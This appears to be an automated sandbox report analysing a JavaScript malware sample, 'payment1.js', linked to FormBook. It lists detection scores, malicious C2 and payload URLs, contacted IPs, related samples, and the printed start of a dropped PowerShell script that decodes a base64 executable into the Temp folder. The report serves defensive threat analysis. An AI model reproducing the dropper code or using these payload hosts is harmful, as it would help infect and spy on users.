Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	41 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	712 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
payment1.js	16%	Virustotal		Browse
payment1.js	11%	ReversingLabs	Script-JS.Dropper.Heuristic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\x.exe	100%	Avira	TR/Dropper.Gen

Source	Detection	Scanner	Label
http://www.weilaishijie.xyz/mvfs/	100%	Avira URL Cloud	malware
http://www.weilaishijie.xyz/mvfs/?28t=_DlH9FNpJbu&JZfd=OX+XGG1vMjnBpir6rX0/G3mm6BKDnX5s9v0C7sC38KVwA5xuSoQxQAVtGC05vfCZlgARXwgyCJM/mKbUQVyNeO12dcoATF+wDwavyiCFDGb9TNEZS4YCLPo=	100%	Avira URL Cloud	malware
http://www.infiniteve.xyz/rvdc/?JZfd=4SS44dSHix1qeqRpZ30sUGwaRLQ6PL636AaAeL4eRpehwv4hyktLqvMv9AyoVvbLe7Ilavn5wnoOWJ/fZmmrIfslJ8D6BKaSqIEkHtgn+Cj3tNriNM+Lp4c=&28t=_DlH9FNpJbu	100%	Avira URL Cloud	malware
http://www.travel-cure.sbs/0c5p/?JZfd=ZkUTV7pI9Ap5vIyRRAq5W5SemCe80v7MV0MOYxheQ3+8mZZcGVhaedsyExvQ8P0JBljjtNlykIwC9TSJUDwzYqYInCYcfCsRcBd6++ZWi3nQtc+XigtdVu0=&28t=_DlH9FNpJbu	0%	Avira URL Cloud	safe
http://www.lucynoel6465.shop/9gtw/?JZfd=bFQVCxzo4meVUPRnP0n3FR5ZzBASsiXRVHB0uPlWJiDXwsbOt8zcfdxm4ktJdQTn5zPq+Y8ykDyEtSWLtIWRcrie4i7GHURObbczaEgRbEWCMNyWzbPKN50=&28t=_DlH9FNpJbu	100%	Avira URL Cloud	phishing
http://www.dqvcbn.info/xqy6/	100%	Avira URL Cloud	malware
http://www.dqvcbn.info	100%	Avira URL Cloud	malware
http://196.251.92.64/crypt/popo.ps1	100%	Avira URL Cloud	malware
http://www.physicsbrain.xyz/ajxq/?JZfd=Z0yNDnK53JgtMSLt/Q+dSz0HWqwkNuop0AL5Lrb95TYezZcCk+GBjjC2rO5AP3na8OTPjj2cyURwNj0Uenp5Hjv5SXrtYK2BmGwEpYXvWphiXX161SqTvYw=&28t=_DlH9FNpJbu	100%	Avira URL Cloud	malware
http://www.physicsbrain.xyz/ajxq/	100%	Avira URL Cloud	malware
http://196.251.92.64/crypt/popo.ps1m?	0%	Avira URL Cloud	safe
http://www.dqvcbn.info/xqy6/?JZfd=3AdOd/JiBJZfW59JF3bk/JUX+I6ir2eDUVeNMTHa5bokm3l1PR6gBk+gEKdbuXFpEa+iNwYC+tVHkUu9Fw3QKE4rVdEfXJGpPPZQf/r11XdvYWfnyknaUqI=&28t=_DlH9FNpJbu	100%	Avira URL Cloud	malware
http://www.infiniteve.xyz/rvdc/	100%	Avira URL Cloud	malware
http://www.travel-cure.sbs/0c5p/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.weilaishijie.xyz	13.248.169.48	true	false	high
www.dqvcbn.info	47.83.1.90	true	false	high
www.travel-cure.sbs	199.59.243.160	true	false	high
www.physicsbrain.xyz	13.248.169.48	true	false	high
www.lucynoel6465.shop	104.21.16.1	true	false	high
www.infiniteve.xyz	162.0.231.203	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.weilaishijie.xyz/mvfs/	true	Avira URL Cloud: malware	unknown
http://www.lucynoel6465.shop/9gtw/?JZfd=bFQVCxzo4meVUPRnP0n3FR5ZzBASsiXRVHB0uPlWJiDXwsbOt8zcfdxm4ktJdQTn5zPq+Y8ykDyEtSWLtIWRcrie4i7GHURObbczaEgRbEWCMNyWzbPKN50=&28t=_DlH9FNpJbu	true	Avira URL Cloud: phishing	unknown
http://www.travel-cure.sbs/0c5p/?JZfd=ZkUTV7pI9Ap5vIyRRAq5W5SemCe80v7MV0MOYxheQ3+8mZZcGVhaedsyExvQ8P0JBljjtNlykIwC9TSJUDwzYqYInCYcfCsRcBd6++ZWi3nQtc+XigtdVu0=&28t=_DlH9FNpJbu	true	Avira URL Cloud: safe	unknown
http://www.weilaishijie.xyz/mvfs/?28t=_DlH9FNpJbu&JZfd=OX+XGG1vMjnBpir6rX0/G3mm6BKDnX5s9v0C7sC38KVwA5xuSoQxQAVtGC05vfCZlgARXwgyCJM/mKbUQVyNeO12dcoATF+wDwavyiCFDGb9TNEZS4YCLPo=	true	Avira URL Cloud: malware	unknown
http://196.251.92.64/crypt/popo.ps1	true	Avira URL Cloud: malware	unknown
http://www.dqvcbn.info/xqy6/	true	Avira URL Cloud: malware	unknown
http://www.infiniteve.xyz/rvdc/?JZfd=4SS44dSHix1qeqRpZ30sUGwaRLQ6PL636AaAeL4eRpehwv4hyktLqvMv9AyoVvbLe7Ilavn5wnoOWJ/fZmmrIfslJ8D6BKaSqIEkHtgn+Cj3tNriNM+Lp4c=&28t=_DlH9FNpJbu	true	Avira URL Cloud: malware	unknown
http://www.physicsbrain.xyz/ajxq/?JZfd=Z0yNDnK53JgtMSLt/Q+dSz0HWqwkNuop0AL5Lrb95TYezZcCk+GBjjC2rO5AP3na8OTPjj2cyURwNj0Uenp5Hjv5SXrtYK2BmGwEpYXvWphiXX161SqTvYw=&28t=_DlH9FNpJbu	true	Avira URL Cloud: malware	unknown
http://www.physicsbrain.xyz/ajxq/	true	Avira URL Cloud: malware	unknown
http://www.dqvcbn.info/xqy6/?JZfd=3AdOd/JiBJZfW59JF3bk/JUX+I6ir2eDUVeNMTHa5bokm3l1PR6gBk+gEKdbuXFpEa+iNwYC+tVHkUu9Fw3QKE4rVdEfXJGpPPZQf/r11XdvYWfnyknaUqI=&28t=_DlH9FNpJbu	true	Avira URL Cloud: malware	unknown
http://www.infiniteve.xyz/rvdc/	true	Avira URL Cloud: malware	unknown
http://www.travel-cure.sbs/0c5p/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	MRINFO.EXE, 0000000A.00000002.2993155660.00000000082C8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1852164332.0000026D0C65C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1889475018.0000026D1AF6D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000001.00000002.1852164332.0000026D0C0FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	MRINFO.EXE, 0000000A.00000002.2993155660.00000000082C8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.1852164332.0000026D0C4E3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.1852164332.0000026D0C4E3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.dqvcbn.info	sxkv2RIDKUVCF4X010eCnC.exe, 0000000B.00000002.2992102247.00000000051A8000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contoso.com/License	powershell.exe, 00000001.00000002.1889475018.0000026D1AF6D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000001.00000002.1889475018.0000026D1AF6D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	MRINFO.EXE, 0000000A.00000002.2993155660.00000000082C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	MRINFO.EXE, 0000000A.00000002.2993155660.00000000082C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	MRINFO.EXE, 0000000A.00000002.2993155660.00000000082C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.1852164332.0000026D0C4E3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	MRINFO.EXE, 0000000A.00000002.2993155660.00000000082C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	MRINFO.EXE, 0000000A.00000002.2990861843.00000000042F6000.00000004.10000000.00040000.00000000.sdmp, MRINFO.EXE, 0000000A.00000002.2992872250.00000000067C0000.00000004.00000800.00020000.00000000.sdmp, sxkv2RIDKUVCF4X010eCnC.exe, 0000000B.00000002.2990429324.0000000003296000.00000004.00000001.00040000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	MRINFO.EXE, 0000000A.00000002.2993155660.00000000082C8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://196.251.92.64/crypt/popo.ps1m?	wscript.exe, 00000000.00000002.1935377292.00000174E9C4A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000001.00000002.1889475018.0000026D1AF6D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1852164332.0000026D0C65C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1889475018.0000026D1AF6D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.orgX	powershell.exe, 00000001.00000002.1852164332.0000026D0C0FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.1852164332.0000026D0AEF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1852164332.0000026D0AEF1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	MRINFO.EXE, 0000000A.00000002.2993155660.00000000082C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://oneget.org	powershell.exe, 00000001.00000002.1852164332.0000026D0C0FB000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.16.1	www.lucynoel6465.shop	United States	13335	CLOUDFLARENETUS	false
13.248.169.48	www.weilaishijie.xyz	United States	16509	AMAZON-02US	false
199.59.243.160	www.travel-cure.sbs	United States	395082	BODIS-NJUS	false
162.0.231.203	www.infiniteve.xyz	Canada	22612	NAMECHEAP-NETUS	false
47.83.1.90	www.dqvcbn.info	United States	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
196.251.92.64	unknown	Seychelles	327813	Web4AfricaZA	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1617730
Start date and time:	2025-02-18 08:13:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	payment1.js
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winJS@14/8@6/6
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 95% Number of executed functions: 113 Number of non-executed functions: 262
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 5352 because it is empty
Execution Graph export aborted for target sxkv2RIDKUVCF4X010eCnC.exe, PID 4108 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:14:25	API Interceptor	6x Sleep call for process: powershell.exe modified
02:15:29	API Interceptor	1613650x Sleep call for process: MRINFO.EXE modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.16.1	PO from tpc Type 34.1 34,2 35 Spec.js	Get hash	malicious	FormBook	Browse	www.lucynoel6465.shop/jgkl/
	PO from tpc Type 34.1 34,2 35 Spec 1.js	Get hash	malicious	FormBook	Browse	www.tumbetgirislinki.fit/k566/
	ebu.ps1	Get hash	malicious	FormBook	Browse	www.fz977.xyz/48bq/
	BIS_MT103 101T000000121121.exe	Get hash	malicious	FormBook	Browse	www.cheapwil.shop/ekxu/
	crypt.exe	Get hash	malicious	FormBook	Browse	www.clouser.store/0izs/
	ReODK2A5DB.exe	Get hash	malicious	FormBook	Browse	www.sigaque.today/n61y/
	xBA5hw2TjG.exe	Get hash	malicious	FormBook	Browse	www.fz977.xyz/406r/
	jKR1K8ayHT.exe	Get hash	malicious	FormBook	Browse	www.axis138ae.shop/do5s/
	greatnamechangedwithgoodnews.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	www.shlomi.app/r0jq/
	http://dryade.cutegreetingcakes.com/ga/click/2-263541735-21475-52792-103465-64017-800122d652-72691c1ea5	Get hash	malicious	Unknown	Browse	dryade.cutegreetingcakes.com/ga/click/2-263541735-21475-52792-103465-64017-800122d652-72691c1ea5
13.248.169.48	2024-02-17.js	Get hash	malicious	FormBook	Browse	www.allenamento.xyz/6q5z/
	PO.exe	Get hash	malicious	FormBook	Browse	www.bitcoinescort.xyz/oodw/
	ORD_VIO-002-2025e-O001.exe	Get hash	malicious	FormBook	Browse	www.publicblockchain.xyz/6wak/
	SFT20020117.exe	Get hash	malicious	FormBook	Browse	www.pembukaan.xyz/dmuh/
	QUOTE OF DRY DOCK REPAIR.exe	Get hash	malicious	FormBook	Browse	www.autonomousrich.xyz/5l58/
	PO# 81136575.exe	Get hash	malicious	FormBook	Browse	www.zkderby.xyz/t73m/
	QUOTATION NO REQ-19-000640.exe	Get hash	malicious	FormBook	Browse	www.hugeblockchain.xyz/tq56/
	Revised Order Confirmation.exe	Get hash	malicious	FormBook	Browse	www.melengkung.xyz/fe9y/
	SHIPMENT OF THE ORIGINAL DOCUMENTS.exe	Get hash	malicious	FormBook	Browse	www.blockchaindapps.xyz/vf8y/
	SWIFT COPY.js	Get hash	malicious	FormBook	Browse	www.bitcoinvendor.xyz/clt8/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.physicsbrain.xyz	QUOTE OF DRY DOCK REPAIR.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	SWIFT COPY.js	Get hash	malicious	FormBook	Browse	13.248.169.48
	CUD--Quotation list.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	DHL AWB.js	Get hash	malicious	FormBook	Browse	13.248.169.48
	SOA - Final Payment.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	QCX ender user 2025.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	SOA - Final Payment.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	SOA-CAVER.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	DHL.Vbs.vbs	Get hash	malicious	FormBook	Browse	13.248.169.48
	BJKzw4jO7c.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
www.dqvcbn.info	SWIFT COPY.js	Get hash	malicious	FormBook	Browse	47.83.1.90
	DHL AWB.js	Get hash	malicious	FormBook	Browse	47.83.1.90
	DHL.Vbs.vbs	Get hash	malicious	FormBook	Browse	47.83.1.90
	PAYMENT.js	Get hash	malicious	FormBook	Browse	47.83.1.90
	PAYMENT.js	Get hash	malicious	FormBook	Browse	47.83.1.90
	SecuriteInfo.com.FileRepMalware.27444.30572.exe	Get hash	malicious	FormBook	Browse	47.83.1.90
www.weilaishijie.xyz	SWIFT COPY.js	Get hash	malicious	FormBook	Browse	13.248.169.48
	REQUEST FOR QUOTATION.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	new quotation.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	DHL AWB.js	Get hash	malicious	FormBook	Browse	13.248.169.48
	payment transfer form.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	Payment Swift Copy 76432650263970239=.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	Demande de devis. Quote Request.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	Documents.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	swift copy.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	Purchase Inquiry.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
www.travel-cure.sbs	2024-02-17.js	Get hash	malicious	FormBook	Browse	199.59.243.160
	PO.exe	Get hash	malicious	FormBook	Browse	199.59.243.160
	SWIFT COPY.js	Get hash	malicious	FormBook	Browse	199.59.243.160
	2025-02-14.js	Get hash	malicious	FormBook	Browse	199.59.243.160
	ebu.ps1	Get hash	malicious	FormBook	Browse	199.59.243.160
	DHL AWB.js	Get hash	malicious	FormBook	Browse	199.59.243.160
	AGODA COMPANY PTE LTD.exe	Get hash	malicious	FormBook	Browse	199.59.243.160
	Bank Transfer Accounting Copy.Vbs.vbs	Get hash	malicious	FormBook	Browse	199.59.243.160
	(BBVA) SWIFT_consulta_de_operaciones 10-02-2025-PDF.exe	Get hash	malicious	FormBook	Browse	199.59.243.160
	AGODA COMPANY PTE LTD.exe	Get hash	malicious	FormBook	Browse	199.59.243.160

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	PO from tpc Type 34.1 34,2 35 Spec.js	Get hash	malicious	FormBook	Browse	104.21.32.1
	nDHL_CUSTOM_CLEARANCE_FORM_3409249_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.168.33
	DHL AWB Document_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
	PO from tpc Type 34.1 34,2 35 Spec 1.js	Get hash	malicious	FormBook	Browse	104.21.112.1
	2024-02-17.js	Get hash	malicious	FormBook	Browse	172.67.207.50
	useeeerrrrr.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	PO.exe	Get hash	malicious	FormBook	Browse	104.21.64.1
	15300429772_20250121_09114163_HesapOzeti.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
	Quotation.xls	Get hash	malicious	Unknown	Browse	104.21.96.1
	Purchase Order.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.96.3
NAMECHEAP-NETUS	PO.exe	Get hash	malicious	FormBook	Browse	198.187.31.216
	ORD_VIO-002-2025e-O001.exe	Get hash	malicious	FormBook	Browse	63.250.38.223
	QUOTE OF DRY DOCK REPAIR.exe	Get hash	malicious	FormBook	Browse	192.64.118.221
	PO# 81136575.exe	Get hash	malicious	FormBook	Browse	162.0.231.203
	QUOTATION NO REQ-19-000640.exe	Get hash	malicious	FormBook	Browse	162.0.231.203
	SHIPMENT OF THE ORIGINAL DOCUMENTS.exe	Get hash	malicious	FormBook	Browse	162.0.231.203
	play.wav.htm	Get hash	malicious	HtmlDropper	Browse	162.0.229.203
	SWIFT COPY.js	Get hash	malicious	FormBook	Browse	162.0.231.203
	SCAN RC INV 92_0225 SHEETS.exe	Get hash	malicious	FormBook	Browse	162.0.231.203
	kzTq7Bt.exe	Get hash	malicious	Unknown	Browse	198.54.120.127
AMAZON-02US	2024-02-17.js	Get hash	malicious	FormBook	Browse	13.248.169.48
	PO.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	ORD_VIO-002-2025e-O001.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	file.lnk	Get hash	malicious	Unknown	Browse	52.222.236.19
	file.lnk	Get hash	malicious	Unknown	Browse	52.222.236.76
	Hilix.sh4.elf	Get hash	malicious	Unknown	Browse	54.112.132.3
	Xw9oZv75Ze.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.122
	Hilix.arm5.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	Hilix.arm7.elf	Get hash	malicious	Mirai	Browse	54.245.42.226
	res.mips.elf	Get hash	malicious	Unknown	Browse	3.186.179.89
BODIS-NJUS	2024-02-17.js	Get hash	malicious	FormBook	Browse	199.59.243.160
	PO.exe	Get hash	malicious	FormBook	Browse	199.59.243.228
	UPDATED SOA.pdf.exe	Get hash	malicious	FormBook	Browse	199.59.243.228
	PO# 81136575.exe	Get hash	malicious	FormBook	Browse	199.59.243.228
	QUOTATION NO REQ-19-000640.exe	Get hash	malicious	FormBook	Browse	199.59.243.228
	SHIPMENT OF THE ORIGINAL DOCUMENTS.exe	Get hash	malicious	FormBook	Browse	199.59.243.228
	SWIFT COPY.js	Get hash	malicious	FormBook	Browse	199.59.243.160
	Order inquiry.pif.exe	Get hash	malicious	FormBook	Browse	199.59.243.228
	http://ndax--sso--auth-io.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	199.59.243.227
	2025-02-14.js	Get hash	malicious	FormBook	Browse	199.59.243.228

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines (65494), with CRLF line terminators
Category:	dropped
Size (bytes):	551032
Entropy (8bit):	5.9774318682873515
Encrypted:	false
SSDEEP:	12288:7ghV31GpYb4GEaIwtZVG1KwZfyuOqI+jXu65tk40B7DfaP8n3KO8Lc0:7ghV3nbGwzE1KwxE0CDnj6W0
MD5:	6A6E89ED295636FFFE48E8BA04095DF9
SHA1:	BE0CAC2911DB15806D12E78B80348A9AFC8E5819
SHA-256:	1C5AD5AC70F96CEAE6FC8A6D8762A0C9D61581D0EF5765D4B2BAC04463A5C736
SHA-512:	B1A1B448741DBC0A1A1367F9F8B92B7C5A5FFCBE45513EA7CAB09EB0495D896C93CB8500F3260CF57257F2985B88A0905B89344ECD011B7DC81CCE8D75FC61BD
Malicious:	true
Preview:	$p=[IO.Path]::Combine($env:TEMP,"x.exe")..[IO.File]::WriteAllBytes($p,[Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAK0etGcAAAAAAAAAAOAADgELATAAAEQGAABKBgAAAAAAymMGAAAgAAAAgAYAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAADABgAAAgAAAAAAAAIAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAHBjBgBXAAAAAKAGAIgFAAAAAAAAAAAAAAAAAAAAAAAAAIAGAAwAAADI+QUAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA0EMGAAAgAAAARAYAAAIAAAAAAAAAAAAAAAAAACAAAGAucmVsb2MAAAwAAAAAgAYAAAIAAABGBgAAAAAAAAAAAAAAAABAAABCLnJzcmMAAACIBQAAAKAGAAAGAAAASAYAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAACsYwYAAAAAAEgAAAACAAUAOPoFADhpAAADAAAABAAABqRIAAAksQUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIAKB0AAAYAKgAAAAMwCQAIAAAAAAAAAAIoEAAABgAqEzAEAE8AAAABAAARcyUAAAYKBij4AAAGJSZ9BgAABAYCfQcAAAQGA30IAAAEBgR9CQAAB

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\x.exe.log

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\popo[1].ps1

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines (65494), with CRLF line terminators
Category:	dropped
Size (bytes):	551032
Entropy (8bit):	5.9774318682873515
Encrypted:	false
SSDEEP:	12288:7ghV31GpYb4GEaIwtZVG1KwZfyuOqI+jXu65tk40B7DfaP8n3KO8Lc0:7ghV3nbGwzE1KwxE0CDnj6W0
MD5:	6A6E89ED295636FFFE48E8BA04095DF9
SHA1:	BE0CAC2911DB15806D12E78B80348A9AFC8E5819
SHA-256:	1C5AD5AC70F96CEAE6FC8A6D8762A0C9D61581D0EF5765D4B2BAC04463A5C736
SHA-512:	B1A1B448741DBC0A1A1367F9F8B92B7C5A5FFCBE45513EA7CAB09EB0495D896C93CB8500F3260CF57257F2985B88A0905B89344ECD011B7DC81CCE8D75FC61BD
Malicious:	false
Preview:	$p=[IO.Path]::Combine($env:TEMP,"x.exe")..[IO.File]::WriteAllBytes($p,[Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAK0etGcAAAAAAAAAAOAADgELATAAAEQGAABKBgAAAAAAymMGAAAgAAAAgAYAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAADABgAAAgAAAAAAAAIAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAHBjBgBXAAAAAKAGAIgFAAAAAAAAAAAAAAAAAAAAAAAAAIAGAAwAAADI+QUAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA0EMGAAAgAAAARAYAAAIAAAAAAAAAAAAAAAAAACAAAGAucmVsb2MAAAwAAAAAgAYAAAIAAABGBgAAAAAAAAAAAAAAAABAAABCLnJzcmMAAACIBQAAAKAGAAAGAAAASAYAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAACsYwYAAAAAAEgAAAACAAUAOPoFADhpAAADAAAABAAABqRIAAAksQUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIAKB0AAAYAKgAAAAMwCQAIAAAAAAAAAAIoEAAABgAqEzAEAE8AAAABAAARcyUAAAYKBij4AAAGJSZ9BgAABAYCfQcAAAQGA30IAAAEBgR9CQAAB

